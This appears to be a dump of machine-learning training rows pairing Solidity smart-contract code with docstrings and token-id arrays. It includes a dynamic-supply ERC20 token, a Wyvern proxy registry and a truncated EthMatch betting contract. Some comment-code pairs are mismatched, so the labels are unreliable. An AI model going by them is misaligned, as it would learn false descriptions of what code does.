-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: MIT
pragma solidity >=0.8.4;
import "./DNTfixedPointMath.sol";
// Interface for IERC20.
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// Interface for IERC20Metadata.
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
// Interface for IAccessControl.
interface IAccessControl {
event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);
event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);
event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);
function hasRole(bytes32 role, address account) external view returns (bool);
function getRoleAdmin(bytes32 role) external view returns (bytes32);
function grantRole(bytes32 role, address account) external;
function revokeRole(bytes32 role, address account) external;
function renounceRole(bytes32 role, address account) external;
}
// Interface for IERC165
interface IERC165 {
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// Contract for Context.
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// Contract for ERC165
abstract contract ERC165 is IERC165 {
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// Contract for ERC20.
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
_afterTokenTransfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
// Contract for AccessControl.
abstract contract AccessControl is Context, IAccessControl, ERC165 {
struct RoleData {
mapping(address => bool) members;
bytes32 adminRole;
}
mapping(bytes32 => RoleData) private _roles;
bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;
modifier onlyRole(bytes32 role) {
_checkRole(role, _msgSender());
_;
}
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IAccessControl).interfaceId || super.supportsInterface(interfaceId);
}
function hasRole(bytes32 role, address account) public view override returns (bool) {
return _roles[role].members[account];
}
function _checkRole(bytes32 role, address account) internal view {
if (!hasRole(role, account)) {
revert(
string(
abi.encodePacked(
"AccessControl: account ",
Strings.toHexString(uint160(account), 20),
" is missing role ",
Strings.toHexString(uint256(role), 32)
)
)
);
}
}
function getRoleAdmin(bytes32 role) public view override returns (bytes32) {
return _roles[role].adminRole;
}
function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_grantRole(role, account);
}
function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_revokeRole(role, account);
}
function renounceRole(bytes32 role, address account) public virtual override {
require(account == _msgSender(), "AccessControl: can only renounce roles for self");
_revokeRole(role, account);
}
function _setupRole(bytes32 role, address account) internal virtual {
_grantRole(role, account);
}
function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
bytes32 previousAdminRole = getRoleAdmin(role);
_roles[role].adminRole = adminRole;
emit RoleAdminChanged(role, previousAdminRole, adminRole);
}
function _grantRole(bytes32 role, address account) private {
if (!hasRole(role, account)) {
_roles[role].members[account] = true;
emit RoleGranted(role, account, _msgSender());
}
}
function _revokeRole(bytes32 role, address account) private {
if (hasRole(role, account)) {
_roles[role].members[account] = false;
emit RoleRevoked(role, account, _msgSender());
}
}
}
// Library for SafeCast.
library SafeCast {
function toUint224(uint256 value) internal pure returns (uint224) {
require(value <= type(uint224).max, "SafeCast: value doesn't fit in 224 bits");
return uint224(value);
}
function toUint128(uint256 value) internal pure returns (uint128) {
require(value <= type(uint128).max, "SafeCast: value doesn't fit in 128 bits");
return uint128(value);
}
function toUint96(uint256 value) internal pure returns (uint96) {
require(value <= type(uint96).max, "SafeCast: value doesn't fit in 96 bits");
return uint96(value);
}
function toUint64(uint256 value) internal pure returns (uint64) {
require(value <= type(uint64).max, "SafeCast: value doesn't fit in 64 bits");
return uint64(value);
}
function toUint32(uint256 value) internal pure returns (uint32) {
require(value <= type(uint32).max, "SafeCast: value doesn't fit in 32 bits");
return uint32(value);
}
function toUint16(uint256 value) internal pure returns (uint16) {
require(value <= type(uint16).max, "SafeCast: value doesn't fit in 16 bits");
return uint16(value);
}
function toUint8(uint256 value) internal pure returns (uint8) {
require(value <= type(uint8).max, "SafeCast: value doesn't fit in 8 bits");
return uint8(value);
}
function toUint256(int256 value) internal pure returns (uint256) {
require(value >= 0, "SafeCast: value must be positive");
return uint256(value);
}
function toInt128(int256 value) internal pure returns (int128) {
require(value >= type(int128).min && value <= type(int128).max, "SafeCast: value doesn't fit in 128 bits");
return int128(value);
}
function toInt64(int256 value) internal pure returns (int64) {
require(value >= type(int64).min && value <= type(int64).max, "SafeCast: value doesn't fit in 64 bits");
return int64(value);
}
function toInt32(int256 value) internal pure returns (int32) {
require(value >= type(int32).min && value <= type(int32).max, "SafeCast: value doesn't fit in 32 bits");
return int32(value);
}
function toInt16(int256 value) internal pure returns (int16) {
require(value >= type(int16).min && value <= type(int16).max, "SafeCast: value doesn't fit in 16 bits");
return int16(value);
}
function toInt8(int256 value) internal pure returns (int8) {
require(value >= type(int8).min && value <= type(int8).max, "SafeCast: value doesn't fit in 8 bits");
return int8(value);
}
function toInt256(uint256 value) internal pure returns (int256) {
// Note: Unsafe cast below is okay because `type(int256).max` is guaranteed to be positive
require(value <= uint256(type(int256).max), "SafeCast: value doesn't fit in an int256");
return int256(value);
}
}
// Library for SafeMath
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// Library for Strings.
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
function toString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// Smart contract for the Dynamic Network Token.
contract DynamicNetworkToken is ERC20, AccessControl
{
// Declaration of roles in the network.
bytes32 public constant ADMIN = keccak256("ADMIN");
bytes32 public constant LIQ_PROVIDER = keccak256("LIQ_PROVIDER");
// Govern the amount of tokens with a min and a max.
uint256 private minimumSupply = 21000000 ether;
uint256 private maximumSupply = 52500000 ether;
// Keep track of total amount of burned and minted tokens.
uint256 private totalBurned = 0;
uint256 private totalMinted = 0;
// Keep track of previous burn and mint transaction.
uint256 private prevAmountMint = 0;
uint256 private prevAmountBurn = 0;
// Keep track of wallets in the network with balance > 0.
uint256 private totalWallets = 0;
// Network Based Burn.
uint256 private networkBasedBurn = 1000000 ether;
uint256 private nextBurn = 100;
// The reserve address.
address private reserveAddress;
// The minimum balance for the reserveAddress.
uint256 private minimumReserve = 4200000 ether;
// The initial supply of the token.
uint256 private _initialSupply = 42000000 ether;
// The current supply of the token.
uint256 private currentSupply = _initialSupply;
// Number of decimals for DNT.
uint256 private _decimals = 18;
// Booleans for exp burning and minting.
bool private isExpBurn = false;
bool private isExpMint = false;
using SafeMath for uint256;
constructor() ERC20("Dynamic Network Token", "DNT"){
_setupRole(DEFAULT_ADMIN_ROLE, _msgSender());
_setupRole(LIQ_PROVIDER, _msgSender());
_setupRole(ADMIN, _msgSender());
_mint(_msgSender(), _initialSupply);
reserveAddress = _msgSender();
}
// Getter for nextBurn.
function getNextBurn() public view returns(uint256){
return(nextBurn);
}
// Getter for networkBasedBurn.
function getNetworkBasedBurn() public view returns(uint256){
return(networkBasedBurn/(10**18));
}
// Getter for currentSupply. Returns currentSupply with two decimals.
function getCurrentSupply() public view returns(uint256){
return(currentSupply/(10**16));
}
// Getter for totalBurned.
function getTotalBurned() public view returns(uint256){
return(totalBurned/(10**18));
}
// Getter for totalMinted.
function getTotalMinted() public view returns(uint256){
return(totalMinted/(10**18));
}
// Getter for totalWallets.
function getTotalWallets() public view returns(uint256){
return(totalWallets);
}
// Function for calculating mint.
function calculateMint(uint256 amount) public returns(uint256){
uint256 toBeMinted = SafeMath.add(prevAmountMint,amount);
prevAmountMint = amount;
uint256 uLog = DNTfixedPointMath.ln(toBeMinted);
// Check if log < 1, if so calculate exp for minting.
if(uLog<1)
{
isExpMint = true;
int256 iExp = DNTfixedPointMath.exp(SafeCast.toInt256(toBeMinted));
iExp = iExp * 8;
iExp = DNTfixedPointMath.div(SafeCast.toInt256(toBeMinted),iExp);
uint256 uExp = SafeCast.toUint256(iExp);
uExp = uExp * 10**4;
return uExp;
}
uint256 log = SafeMath.mul(uLog,8);
uint256 logMint = SafeMath.div(toBeMinted,log);
logMint = logMint * 10 ** _decimals;
return logMint;
}
// Function for calculating burn.
function calculateBurn(uint256 amount) public returns(uint256){
uint256 toBeBurned = SafeMath.add(prevAmountBurn,amount);
prevAmountBurn = amount;
uint256 uLog = DNTfixedPointMath.ln(toBeBurned);
// Check if log < 1, if so calculate exp for burning.
if(uLog<1)
{
isExpBurn = true;
int256 iExp = DNTfixedPointMath.exp(SafeCast.toInt256(toBeBurned));
iExp = iExp * 4;
iExp = DNTfixedPointMath.div(SafeCast.toInt256(toBeBurned),iExp);
uint256 uExp = SafeCast.toUint256(iExp);
uExp = uExp * 10**4;
return uExp;
}
uint256 log = SafeMath.mul(uLog,4);
uint256 logBurn = SafeMath.div(toBeBurned,log);
logBurn = logBurn * 10 ** _decimals;
return logBurn;
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
// Calculate burn and mint.
uint256 toBeBurned = calculateBurn(amount);
uint256 toBeMinted = calculateMint(amount);
uint256 currentSupplyAfterBurn = SafeMath.sub(currentSupply,toBeBurned);
uint256 currentSupplyAfterMint = SafeMath.add(currentSupply,toBeMinted);
// Add to totalWalelts if balance is 0.
if(balanceOf(recipient)==0)
{
totalWallets += 1;
}
// Check if Network Based Burn.
if(totalWallets>=nextBurn && SafeMath.sub(currentSupply,amount)>=minimumSupply && SafeMath.sub(balanceOf(reserveAddress),networkBasedBurn)>=minimumReserve)
{
_burn(reserveAddress,networkBasedBurn);
currentSupply = SafeMath.sub(currentSupply,networkBasedBurn);
totalBurned = SafeMath.add(totalBurned,networkBasedBurn);
nextBurn = nextBurn*2;
networkBasedBurn = networkBasedBurn/2;
}
if(hasRole(LIQ_PROVIDER, _msgSender()))
{
if(currentSupplyAfterMint<=maximumSupply && isExpMint)
{
_mint(reserveAddress,SafeMath.div(toBeMinted,10**4));
isExpMint = false;
currentSupply = SafeMath.add(currentSupply,SafeMath.div(toBeMinted,10**4));
totalMinted = SafeMath.add(totalMinted,SafeMath.div(toBeMinted,10**4));
}
else if(currentSupplyAfterMint<=maximumSupply && toBeMinted > 0)
{
_mint(reserveAddress,toBeMinted);
currentSupply = SafeMath.add(currentSupply,toBeMinted);
totalMinted = SafeMath.add(totalMinted,toBeMinted);
}
}
if(hasRole(LIQ_PROVIDER, recipient))
{
if(isExpBurn && currentSupplyAfterBurn>=minimumSupply)
{
if(SafeMath.sub(balanceOf(reserveAddress),SafeMath.div(toBeBurned,10**4))>= minimumReserve)
{
_burn(reserveAddress,SafeMath.div(toBeBurned,10**4));
isExpBurn= false;
currentSupply = SafeMath.sub(currentSupply,SafeMath.div(toBeBurned,10**4));
totalBurned = SafeMath.add(totalBurned,SafeMath.div(toBeBurned,10**4));
}
}
else if(currentSupplyAfterBurn>=minimumSupply && toBeBurned > 0)
{
if(SafeMath.sub(balanceOf(reserveAddress),toBeBurned)>= minimumReserve)
{
_burn(reserveAddress,toBeBurned);
currentSupply = SafeMath.sub(currentSupply,toBeBurned);
totalBurned = SafeMath.add(totalBurned,toBeBurned);
}
}
}
_transfer(_msgSender(), recipient, amount);
return true;
}
function transferFrom(address sender,address recipient, uint256 amount) public virtual override returns (bool) {
uint256 toBeBurned = calculateBurn(amount);
uint256 currentSupplyAfterBurn = SafeMath.sub(currentSupply,toBeBurned);
if(hasRole(LIQ_PROVIDER, recipient))
{
if(isExpBurn && currentSupplyAfterBurn>=minimumSupply)
{
if(SafeMath.sub(balanceOf(reserveAddress),SafeMath.div(toBeBurned,10**4))>= minimumReserve)
{
_burn(reserveAddress,SafeMath.div(toBeBurned,10**4));
isExpBurn= false;
currentSupply = SafeMath.sub(currentSupply,SafeMath.div(toBeBurned,10**4));
totalBurned = SafeMath.add(totalBurned,SafeMath.div(toBeBurned,10**4));
}
}
else if(currentSupplyAfterBurn>=minimumSupply && toBeBurned > 0)
{
if(SafeMath.sub(balanceOf(reserveAddress), amount) >= minimumReserve)
{
_burn(reserveAddress,toBeBurned);
currentSupply = SafeMath.sub(currentSupply,toBeBurned);
totalBurned = SafeMath.add(totalBurned,toBeBurned);
}
}
}
_transfer(sender, recipient, amount);
uint256 currentAllowance = allowance(sender,_msgSender());
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
} | Interface for IERC165 | interface IERC165 {
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
| 7,021,236 | [
1,
1358,
364,
467,
654,
39,
28275,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
5831,
467,
654,
39,
28275,
288,
203,
203,
565,
445,
6146,
1358,
12,
3890,
24,
1560,
548,
13,
3903,
1476,
1135,
261,
6430,
1769,
203,
97,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
/*
<< Wyvern Proxy Registry >>
*/
pragma solidity 0.7.5;
import "./registry/ProxyRegistry.sol";
import "./registry/AuthenticatedProxy.sol";
/**
* @title WyvernRegistry
* @author Wyvern Protocol Developers
*/
contract WyvernRegistry is ProxyRegistry {
string public constant name = "Wyvern Protocol Proxy Registry";
/* Whether the initial auth address has been set. */
bool public initialAddressSet = false;
constructor ()
public
{
AuthenticatedProxy impl = new AuthenticatedProxy();
impl.initialize(address(this), this);
impl.setRevoke(true);
delegateProxyImplementation = address(impl);
}
/**
* Grant authentication to the initial Exchange protocol contract
*
* @dev No delay, can only be called once - after that the standard registry process with a delay must be used
* @param authAddress Address of the contract to grant authentication
*/
function grantInitialAuthentication (address authAddress)
onlyOwner
public
{
require(!initialAddressSet, "Wyvern Protocol Proxy Registry initial address already set");
initialAddressSet = true;
contracts[authAddress] = true;
}
}
| Whether the initial auth address has been set. */ | {
AuthenticatedProxy impl = new AuthenticatedProxy();
impl.initialize(address(this), this);
impl.setRevoke(true);
delegateProxyImplementation = address(impl);
}
| 1,756,552 | [
1,
18247,
326,
2172,
1357,
1758,
711,
2118,
444,
18,
342,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
288,
27699,
3639,
3123,
6096,
3886,
9380,
273,
394,
3123,
6096,
3886,
5621,
203,
3639,
9380,
18,
11160,
12,
2867,
12,
2211,
3631,
333,
1769,
203,
3639,
9380,
18,
542,
29196,
12,
3767,
1769,
203,
3639,
7152,
3886,
13621,
273,
1758,
12,
11299,
1769,
203,
565,
289,
27699,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.4.13;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ERC23ContractInterface {
function tokenFallback(address _from, uint256 _value, bytes _data) external;
}
contract ERC23Contract is ERC23ContractInterface {
/**
* @dev Reject all ERC23 compatible tokens
* param _from address that is transferring the tokens
* param _value amount of specified token
* param _data bytes data passed from the caller
*/
function tokenFallback(address /*_from*/, uint256 /*_value*/, bytes /*_data*/) external {
revert();
}
}
contract EthMatch is Ownable, ERC23Contract {
using SafeMath for uint256;
uint256 public constant MASTERY_THRESHOLD = 10 finney; // new master allowed if balance falls below this (10 finney == .01 ETH)
uint256 public constant PAYOUT_PCT = 95; // % to winner (rest to creator)
uint256 public startTime; // start timestamp when matches may begin
address public master; // current Matchmaster
uint256 public gasReq; // require same gas every time in maker()
event MatchmakerPrevails(address indexed matchmaster, address indexed matchmaker, uint256 sent, uint256 actual, uint256 winnings);
event MatchmasterPrevails(address indexed matchmaster, address indexed matchmaker, uint256 sent, uint256 actual, uint256 winnings);
event MatchmasterTakeover(address indexed matchmasterPrev, address indexed matchmasterNew, uint256 balanceNew);
// can be funded at init if desired
function EthMatch(uint256 _startTime) public payable {
require(_startTime >= now);
startTime = _startTime;
master = msg.sender; // initial
gasReq = 42000;
}
// ensure proper state
modifier isValid(address _addr) {
require(_addr != 0x0);
require(!Lib.isContract(_addr)); // ban contracts
require(now >= startTime);
_;
}
// fallback function
// make a match
function () public payable {
maker(msg.sender);
}
// make a match (and specify payout address)
function maker(address _addr) isValid(_addr) public payable {
require(msg.gas >= gasReq); // require same gas every time (overages auto-returned)
uint256 weiPaid = msg.value;
require(weiPaid > 0);
uint256 balPrev = this.balance.sub(weiPaid);
if (balPrev == weiPaid) {
// maker wins
uint256 winnings = weiPaid.add(balPrev.div(2));
pay(_addr, winnings);
MatchmakerPrevails(master, _addr, weiPaid, balPrev, winnings);
} else {
// master wins
pay(master, weiPaid);
MatchmasterPrevails(master, _addr, weiPaid, balPrev, weiPaid);
}
}
